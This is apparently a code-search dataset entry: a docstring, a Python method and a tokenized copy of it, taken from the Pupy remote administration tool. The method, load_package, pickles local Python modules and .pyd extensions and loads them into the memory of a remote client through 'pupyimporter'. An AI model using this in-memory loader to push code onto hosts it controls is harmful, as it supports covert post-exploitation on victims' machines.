(self, module_name, force=False)
return False
load a python module into memory depending on what OS the client is.
			This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
			For other platforms : loading .so in memory is not supported yet.
load a python module into memory depending on what OS the client is.
			This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
			For other platforms : loading .so in memory is not supported yet.
load a python module into memory depending on what OS the client is . This function can load all types of modules in memory for windows both x86 and amd64 including . pyd C extensions For other platforms : loading . so in memory is not supported yet .
def load_package(self, module_name, force=False):
		""" 
			load a python module into memory depending on what OS the client is.
			This function can load all types of modules in memory for windows both x86 and amd64 including .pyd C extensions
			For other platforms : loading .so in memory is not supported yet.
		"""
		modules_dic={}
		# start path should only use "/" as separator
		start_path=module_name.replace(".", "/")
		package_found=False
		package_path=None
		for search_path in self.get_packages_path():
			try:
				if os.path.isdir(os.path.join(search_path,start_path)): # loading a real package with multiple files
					for root, dirs, files in os.walk(os.path.join(search_path,start_path)):
						for f in files:
							module_code=""
							with open(os.path.join(root,f),'rb') as fd:
								module_code=fd.read()
							modprefix = root[len(search_path.rstrip(os.sep))+1:]
							modpath = os.path.join(modprefix,f).replace("\\","/")
							modules_dic[modpath]=module_code
						package_found=True
				else: # loading a simple file
					for ext in [".py",".pyc",".pyd"]:
						filepath=os.path.join(search_path,start_path+ext)
						if os.path.isfile(filepath):
							module_code=""
							with open(filepath,'rb') as f:
								module_code=f.read()
							cur=""
							for rep in start_path.split("/")[:-1]:
								if not cur+rep+"/__init__.py" in modules_dic:
									modules_dic[rep+"/__init__.py"]=""
								cur+=rep+"/"
								
							modules_dic[start_path+ext]=module_code
							package_found=True
							break
				if package_found:
					package_path=search_path
					break
			except Exception as e:
				raise PupyModuleError("Error while loading package %s : %s"%(module_name, traceback.format_exc()))
		if "pupyimporter" not in self.conn.modules.sys.modules:
			raise PupyModuleError("pupyimporter module does not exists on the remote side !")
		#print modules_dic
		if not modules_dic:
			raise PupyModuleError("Couldn't load package %s : no such file or directory (path=%s)"%(module_name,repr(self.get_packages_path())))
		if force or ( module_name not in self.conn.modules.sys.modules ):
			self.conn.modules.pupyimporter.pupy_add_package(cPickle.dumps(modules_dic)) # we have to pickle the dic for two reasons : because the remote side is not authorized to iterate/access to the dictionary declared on this side and because it is more efficient
			logging.debug("package %s loaded on %s from path=%s"%(module_name, self.short_name(), package_path))
			return True
		return False
def load_package ( self , module_name , force = False ) : modules_dic = { } # start path should only use "/" as separator start_path = module_name . replace ( "." , "/" ) package_found = False package_path = None for search_path in self . get_packages_path ( ) : try : if os . path . isdir ( os . path . join ( search_path , start_path ) ) : # loading a real package with multiple files for root , dirs , files in os . walk ( os . path . join ( search_path , start_path ) ) : for f in files : module_code = "" with open ( os . path . join ( root , f ) , 'rb' ) as fd : module_code = fd . read ( ) modprefix = root [ len ( search_path . rstrip ( os . sep ) ) + 1 : ] modpath = os . path . join ( modprefix , f ) . replace ( "\\" , "/" ) modules_dic [ modpath ] = module_code package_found = True else : # loading a simple file for ext in [ ".py" , ".pyc" , ".pyd" ] : filepath = os . path . join ( search_path , start_path + ext ) if os . path . isfile ( filepath ) : module_code = "" with open ( filepath , 'rb' ) as f : module_code = f . read ( ) cur = "" for rep in start_path . split ( "/" ) [ : - 1 ] : if not cur + rep + "/__init__.py" in modules_dic : modules_dic [ rep + "/__init__.py" ] = "" cur += rep + "/" modules_dic [ start_path + ext ] = module_code package_found = True break if package_found : package_path = search_path break except Exception as e : raise PupyModuleError ( "Error while loading package %s : %s" % ( module_name , traceback . format_exc ( ) ) ) if "pupyimporter" not in self . conn . modules . sys . modules : raise PupyModuleError ( "pupyimporter module does not exists on the remote side !" ) #print modules_dic if not modules_dic : raise PupyModuleError ( "Couldn't load package %s : no such file or directory (path=%s)" % ( module_name , repr ( self . get_packages_path ( ) ) ) ) if force or ( module_name not in self . conn . modules . sys . modules ) : self . conn . modules . pupyimporter . pupy_add_package ( cPickle . dumps ( modules_dic ) ) # we have to pickle the dic for two reasons : because the remote side is not authorized to iterate/access to the dictionary declared on this side and because it is more efficient logging . debug ( "package %s loaded on %s from path=%s" % ( module_name , self . short_name ( ) , package_path ) ) return True return False